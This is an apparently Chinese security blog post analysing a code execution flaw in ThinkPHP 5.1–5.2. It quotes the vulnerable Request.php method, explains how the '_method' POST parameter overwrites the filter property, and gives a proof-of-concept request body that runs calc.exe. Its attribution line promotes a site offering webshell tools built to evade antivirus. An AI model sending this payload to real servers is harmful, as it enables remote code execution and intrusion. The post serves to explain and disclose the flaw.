会飞的鱼

首页 » web安全 » Thinkphp5.1 ~ 5.2 全版本代码执行

Thinkphp5.1 ~ 5.2 全版本代码执行

最近爆出了Thinkphp5.0.*全版本代码执行,其中5.1与5.2全版本在生产环境下下同样也存在代码执行

漏洞分析:

文件位置:\thinkphp\library\think\Request.php

  1. /**
  2. * 当前的请求类型
  3. * @access public
  4. * @param bool $origin 是否获取原始请求类型
  5. * @return string
  6. */
  7. public function method($origin = false)
  8. {
  9. if ($origin) {
  10. // 获取原始请求类型
  11. return $this->server('REQUEST_METHOD') ?: 'GET';
  12. } elseif (!$this->method) {
  13. if (isset($_POST[$this->config['var_method']])) {
  14. $this->method = strtoupper($_POST[$this->config['var_method']]);
  15. $method = strtolower($this->method);
  16. $this->{$method} = $_POST;
  17. } elseif ($this->server('HTTP_X_HTTP_METHOD_OVERRIDE')) {
  18. $this->method = strtoupper($this->server('HTTP_X_HTTP_METHOD_OVERRIDE'));
  19. } else {
  20. $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
  21. }
  22. }
  23. return $this->method;
  24. }

其中:

  1. $this->method = strtoupper($_POST[$this->config['var_method']]);
  2. $method = strtolower($this->method);
  3. $this->{$method} = $_POST;
  4. $method变量是$this->method,其同等于POST的”_method”参数值

然后该处存在一个变量覆盖

我们可以覆盖 $filter 属性值(POC如下)

  1. c=exec&f=calc.exe&&_method=filter&

访问如下图所示:

 

Thinkphp5.1 ~ 5.2 全版本代码执行

 

会爆出一个警告级别的异常,导致程序终止

如何触发:

如果设置忽略异常提示,如下图:

 

Thinkphp5.1 ~ 5.2 全版本代码执行

 

本身项目发布就需要屏蔽异常和错误所以这个配置是一个正常的配置

Payload(POST请求):

 

Thinkphp5.1 ~ 5.2 全版本代码执行

 

弹出计算器

文章如无特别注明均为原创! 作者: admins, 转载或复制请以 超链接形式 并注明出处 Xise菜刀_Xise菜刀下载_中国菜刀_免杀大马_最新免杀大马
原文地址《 Thinkphp5.1 ~ 5.2 全版本代码执行》发布于2019-1-19

分享到:
打赏

评论

游客

看不清楚?点图切换
切换注册

登录

您也可以使用第三方帐号快捷登录

切换登录

注册